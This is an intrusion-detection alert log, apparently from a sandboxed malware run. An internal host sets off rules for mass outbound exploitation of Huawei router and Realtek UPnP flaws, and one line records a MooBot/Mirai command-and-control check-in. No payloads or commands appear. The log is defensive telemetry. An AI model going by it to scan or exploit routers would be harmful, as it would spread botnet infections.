07/20/24-23:01:08.435255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48960	37215	192.168.2.13	49.98.16.76
07/20/24-23:01:20.481325	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33094	52869	192.168.2.13	104.175.135.141
07/20/24-23:00:59.019713	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45044	37215	192.168.2.13	159.247.186.213
07/20/24-23:01:06.805919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59466	37215	192.168.2.13	197.77.149.119
07/20/24-23:01:06.564866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46244	52869	192.168.2.13	191.94.176.193
07/20/24-23:01:22.737560	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38314	37215	192.168.2.13	41.6.210.49
07/20/24-23:01:12.358593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60566	37215	192.168.2.13	197.92.32.174
07/20/24-23:01:06.809008	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38832	37215	192.168.2.13	41.153.35.0
07/20/24-23:01:32.260443	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56116	37215	192.168.2.13	157.10.132.222
07/20/24-23:01:06.808312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38322	37215	192.168.2.13	197.122.225.93
07/20/24-23:01:06.800492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57702	37215	192.168.2.13	157.10.30.221
07/20/24-23:01:25.391404	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43648	37215	192.168.2.13	157.238.114.207
07/20/24-23:01:14.526400	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36894	52869	192.168.2.13	72.60.254.31
07/20/24-23:01:06.805919	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46022	37215	192.168.2.13	178.42.122.244
07/20/24-23:00:59.022895	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42636	37215	192.168.2.13	41.135.156.196
07/20/24-23:01:32.276800	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42208	37215	192.168.2.13	41.98.209.55
07/20/24-23:00:59.022391	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49894	37215	192.168.2.13	114.104.89.214
07/20/24-23:00:59.056488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55454	37215	192.168.2.13	157.52.27.4
07/20/24-23:01:07.264780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53544	52869	192.168.2.13	184.235.53.151
07/20/24-23:01:36.846304	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47890	37215	192.168.2.13	157.6.39.226
07/20/24-23:01:27.276711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41438	37215	192.168.2.13	157.247.96.44
07/20/24-23:01:06.823879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46376	37215	192.168.2.13	41.235.134.113
07/20/24-23:01:03.925942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37840	52869	192.168.2.13	153.88.175.187
07/20/24-23:01:04.893876	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48956	37215	192.168.2.13	157.185.246.104
07/20/24-23:01:14.522654	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43634	52869	192.168.2.13	87.22.11.17
07/20/24-23:01:32.257456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45282	37215	192.168.2.13	157.22.249.40
07/20/24-23:01:02.630936	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46242	37215	192.168.2.13	197.182.149.227
07/20/24-23:01:14.539913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57754	52869	192.168.2.13	77.182.150.37
07/20/24-23:01:22.745836	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39904	37215	192.168.2.13	67.42.171.251
07/20/24-23:01:12.357339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38964	37215	192.168.2.13	60.252.188.181
07/20/24-23:01:27.222234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53412	37215	192.168.2.13	157.75.195.94
07/20/24-23:01:25.414531	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60580	37215	192.168.2.13	17.173.199.209
07/20/24-23:01:12.504870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47782	37215	192.168.2.13	157.253.226.135
07/20/24-23:01:14.546238	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35956	52869	192.168.2.13	162.26.5.38
07/20/24-23:01:05.481947	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55128	52869	192.168.2.13	187.248.171.89
07/20/24-23:01:14.501572	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33916	52869	192.168.2.13	62.204.49.132
07/20/24-23:01:02.699257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59636	37215	192.168.2.13	199.7.187.18
07/20/24-23:01:14.530141	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39228	52869	192.168.2.13	62.126.184.91
07/20/24-23:01:17.788569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52000	37215	192.168.2.13	70.153.147.86
07/20/24-23:01:14.998444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44742	37215	192.168.2.13	197.9.161.134
07/20/24-23:01:04.879348	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34120	37215	192.168.2.13	197.113.144.11
07/20/24-23:01:14.517250	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40572	52869	192.168.2.13	170.201.104.199
07/20/24-23:01:22.737893	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56356	37215	192.168.2.13	197.20.227.180
07/20/24-23:01:02.707801	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41094	37215	192.168.2.13	197.243.107.118
07/20/24-23:01:04.841989	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34046	37215	192.168.2.13	157.101.162.77
07/20/24-23:01:08.455371	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33714	37215	192.168.2.13	197.166.232.148
07/20/24-23:01:27.293207	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57546	37215	192.168.2.13	157.246.213.216
07/20/24-23:01:22.801622	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46990	37215	192.168.2.13	157.212.194.18
07/20/24-23:01:25.414531	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58032	37215	192.168.2.13	41.91.190.22
07/20/24-23:01:03.934569	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59994	52869	192.168.2.13	223.161.169.143
07/20/24-23:01:06.812618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54886	37215	192.168.2.13	197.149.160.135
07/20/24-23:01:25.389915	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58430	37215	192.168.2.13	197.201.96.18
07/20/24-23:01:07.562020	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53244	52869	192.168.2.13	206.239.43.25
07/20/24-23:01:36.794115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37164	37215	192.168.2.13	157.13.135.234
07/20/24-23:01:04.870311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50726	37215	192.168.2.13	197.189.146.222
07/20/24-23:01:06.530408	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58456	52869	192.168.2.13	39.240.110.128
07/20/24-23:01:04.917925	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37074	37215	192.168.2.13	41.24.107.244
07/20/24-23:01:12.490733	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52648	37215	192.168.2.13	197.222.191.140
07/20/24-23:01:25.390959	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50694	37215	192.168.2.13	41.1.71.80
07/20/24-23:01:22.748875	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32862	37215	192.168.2.13	157.140.191.150
07/20/24-23:01:14.544045	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52052	52869	192.168.2.13	78.8.181.144
07/20/24-23:01:06.669743	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42584	52869	192.168.2.13	8.85.166.254
07/20/24-23:01:12.485458	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34636	37215	192.168.2.13	157.115.242.85
07/20/24-23:01:22.737021	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42054	37215	192.168.2.13	122.211.99.32
07/20/24-23:01:32.260444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55558	37215	192.168.2.13	84.177.161.48
07/20/24-23:01:02.669609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48326	37215	192.168.2.13	70.116.57.7
07/20/24-23:01:14.574230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51640	52869	192.168.2.13	50.131.46.205
07/20/24-23:01:22.744419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42520	37215	192.168.2.13	157.63.136.39
07/20/24-23:01:06.253723	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50566	52869	192.168.2.13	92.52.112.233
07/20/24-23:01:06.884008	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42042	52869	192.168.2.13	160.161.205.189
07/20/24-23:01:14.539379	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44524	52869	192.168.2.13	170.23.175.88
07/20/24-23:01:04.841989	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38290	37215	192.168.2.13	168.182.205.114
07/20/24-23:01:27.354360	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59984	52869	192.168.2.13	101.150.57.159
07/20/24-23:01:04.738781	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59122	52869	192.168.2.13	129.209.221.62
07/20/24-23:01:27.236376	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36960	37215	192.168.2.13	157.150.102.141
07/20/24-23:02:06.594057	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43342	37215	192.168.2.13	157.43.44.167
07/20/24-23:01:22.799665	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50226	37215	192.168.2.13	41.214.221.88
07/20/24-23:01:12.374034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36692	37215	192.168.2.13	197.158.220.112
07/20/24-23:01:32.199687	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46120	37215	192.168.2.13	59.49.93.128
07/20/24-23:01:12.356686	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33370	37215	192.168.2.13	161.250.92.81
07/20/24-23:01:04.219068	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43308	52869	192.168.2.13	104.26.83.71
07/20/24-23:01:04.858015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40242	37215	192.168.2.13	192.136.158.102
07/20/24-23:01:06.801053	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49606	37215	192.168.2.13	157.126.248.157
07/20/24-23:01:04.848605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56222	37215	192.168.2.13	171.255.58.196
07/20/24-23:01:32.199190	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34084	37215	192.168.2.13	41.108.63.191
07/20/24-23:01:06.649751	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34368	52869	192.168.2.13	162.202.222.182
07/20/24-23:01:27.360753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39262	52869	192.168.2.13	103.178.1.192
07/20/24-23:01:27.363404	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40174	52869	192.168.2.13	84.175.23.63
07/20/24-23:01:32.271087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43364	37215	192.168.2.13	197.161.182.208
07/20/24-23:01:02.699257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56702	37215	192.168.2.13	173.132.232.37
07/20/24-23:01:22.834271	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41558	37215	192.168.2.13	157.79.194.18
07/20/24-23:01:07.330081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35222	52869	192.168.2.13	1.212.57.243
07/20/24-23:01:14.513211	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48442	52869	192.168.2.13	13.164.169.253
07/20/24-23:01:02.613618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44020	37215	192.168.2.13	132.227.49.42
07/20/24-23:01:06.813789	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36270	37215	192.168.2.13	197.177.103.8
07/20/24-23:01:27.354009	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34352	52869	192.168.2.13	157.51.202.158
07/20/24-23:01:22.810997	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40688	37215	192.168.2.13	41.159.214.118
07/20/24-23:01:06.798361	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53378	37215	192.168.2.13	197.166.87.182
07/20/24-23:01:08.459273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54206	37215	192.168.2.13	157.51.155.134
07/20/24-23:01:20.463712	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46486	52869	192.168.2.13	165.40.137.113
07/20/24-23:01:02.620832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41164	37215	192.168.2.13	41.204.18.19
07/20/24-23:01:04.853320	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37322	37215	192.168.2.13	197.43.150.29
07/20/24-23:01:14.559132	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59528	52869	192.168.2.13	54.236.238.51
07/20/24-23:01:03.955764	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37530	52869	192.168.2.13	122.167.75.170
07/20/24-23:01:05.950140	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47008	52869	192.168.2.13	166.150.19.163
07/20/24-23:01:14.556764	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52702	52869	192.168.2.13	47.206.114.161
07/20/24-23:01:32.282562	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37198	37215	192.168.2.13	41.156.134.175
07/20/24-23:01:04.763827	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55270	52869	192.168.2.13	121.35.219.146
07/20/24-23:01:36.799485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39500	37215	192.168.2.13	60.11.100.175
07/20/24-23:01:06.812618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54008	37215	192.168.2.13	197.4.9.142
07/20/24-23:01:36.781139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47356	37215	192.168.2.13	41.250.242.225
07/20/24-23:01:14.539078	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45066	52869	192.168.2.13	141.36.128.134
07/20/24-23:01:14.547224	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45678	52869	192.168.2.13	165.40.111.49
07/20/24-23:01:32.208939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58162	37215	192.168.2.13	167.143.161.58
07/20/24-23:01:27.263646	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36368	37215	192.168.2.13	41.170.167.134
07/20/24-23:01:14.533681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37950	52869	192.168.2.13	70.194.220.73
07/20/24-23:01:27.354949	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45772	52869	192.168.2.13	188.171.53.74
07/20/24-23:01:14.506916	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43206	52869	192.168.2.13	57.30.119.39
07/20/24-23:01:06.571856	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48708	52869	192.168.2.13	49.146.39.71
07/20/24-23:01:25.450878	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41564	37215	192.168.2.13	218.237.12.255
07/20/24-23:00:59.023270	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45336	37215	192.168.2.13	197.36.237.89
07/20/24-23:01:02.669609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45550	37215	192.168.2.13	41.45.233.5
07/20/24-23:01:04.748993	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51914	52869	192.168.2.13	118.95.117.249
07/20/24-23:01:06.557827	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60952	52869	192.168.2.13	153.105.129.20
07/20/24-23:01:14.999580	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52410	37215	192.168.2.13	197.229.89.250
07/20/24-23:01:06.326396	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48684	52869	192.168.2.13	183.32.240.14
07/20/24-23:01:04.157917	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42138	52869	192.168.2.13	39.238.204.107
07/20/24-23:00:59.019939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40932	37215	192.168.2.13	157.249.112.126
07/20/24-23:01:05.813514	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33182	52869	192.168.2.13	19.96.215.60
07/20/24-23:01:06.800492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45468	37215	192.168.2.13	148.226.232.73
07/20/24-23:01:08.455371	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45914	37215	192.168.2.13	197.34.190.111
07/20/24-23:01:04.908543	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43176	37215	192.168.2.13	197.67.197.224
07/20/24-23:01:15.071046	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56858	37215	192.168.2.13	197.102.68.253
07/20/24-23:01:04.153300	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52134	52869	192.168.2.13	58.55.6.110
07/20/24-23:01:27.237697	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40302	37215	192.168.2.13	157.48.188.69
07/20/24-23:01:04.848080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39652	37215	192.168.2.13	41.221.111.207
07/20/24-23:01:22.749655	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38594	37215	192.168.2.13	41.97.211.251
07/20/24-23:01:12.356579	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52258	37215	192.168.2.13	23.108.81.73
07/20/24-23:01:27.360753	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35240	52869	192.168.2.13	207.190.228.219
07/20/24-23:01:03.943153	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39056	52869	192.168.2.13	204.46.251.166
07/20/24-23:01:14.550730	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48876	52869	192.168.2.13	106.194.122.151
07/20/24-23:01:14.503288	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59548	52869	192.168.2.13	144.242.214.134
07/20/24-23:01:36.793382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38810	37215	192.168.2.13	35.166.41.236
07/20/24-23:00:59.023270	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37234	37215	192.168.2.13	86.82.54.225
07/20/24-23:01:25.416964	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34244	37215	192.168.2.13	123.230.10.211
07/20/24-23:01:04.874131	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49930	37215	192.168.2.13	41.9.140.35
07/20/24-23:01:08.368788	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48678	37215	192.168.2.13	41.10.247.163
07/20/24-23:01:14.536390	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39518	52869	192.168.2.13	76.239.185.4
07/20/24-23:01:14.513824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36180	52869	192.168.2.13	98.189.122.151
07/20/24-23:01:27.232388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57862	37215	192.168.2.13	197.243.124.222
07/20/24-23:01:12.487419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44378	37215	192.168.2.13	41.231.12.12
07/20/24-23:01:22.745836	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44476	37215	192.168.2.13	157.27.225.240
07/20/24-23:01:14.550730	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48876	52869	192.168.2.13	106.194.122.151
07/20/24-23:01:03.831831	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59558	52869	192.168.2.13	52.188.85.89
07/20/24-23:01:06.801544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50934	37215	192.168.2.13	25.30.82.100
07/20/24-23:01:15.001455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52334	37215	192.168.2.13	157.50.57.98
07/20/24-23:00:59.020760	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59660	37215	192.168.2.13	114.116.15.132
07/20/24-23:01:07.306871	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38864	52869	192.168.2.13	92.60.201.159
07/20/24-23:01:08.435254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46618	37215	192.168.2.13	115.0.94.194
07/20/24-23:01:14.574230	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44968	52869	192.168.2.13	112.136.148.134
07/20/24-23:01:36.862442	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56826	37215	192.168.2.13	197.89.245.204
07/20/24-23:01:47.062116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49872	37215	192.168.2.13	41.38.74.84
07/20/24-23:01:14.533681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39518	52869	192.168.2.13	211.247.29.248
07/20/24-23:01:05.776003	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58942	52869	192.168.2.13	13.145.132.17
07/20/24-23:01:07.469769	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35408	52869	192.168.2.13	85.119.116.161
07/20/24-23:01:27.269293	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55950	37215	192.168.2.13	157.252.240.160
07/20/24-23:01:06.177278	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44022	52869	192.168.2.13	157.40.9.209
07/20/24-23:01:08.455372	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34354	37215	192.168.2.13	197.68.241.243
07/20/24-23:01:36.884856	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	37338	2466	192.168.2.13	15.235.203.214
07/20/24-23:01:14.500914	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33430	52869	192.168.2.13	52.188.85.89
07/20/24-23:01:06.348171	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54546	52869	192.168.2.13	99.160.201.206
07/20/24-23:01:14.559539	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41960	52869	192.168.2.13	179.27.16.177
07/20/24-23:01:14.501031	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46988	52869	192.168.2.13	202.159.56.129
07/20/24-23:01:14.500914	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33430	52869	192.168.2.13	52.188.85.89
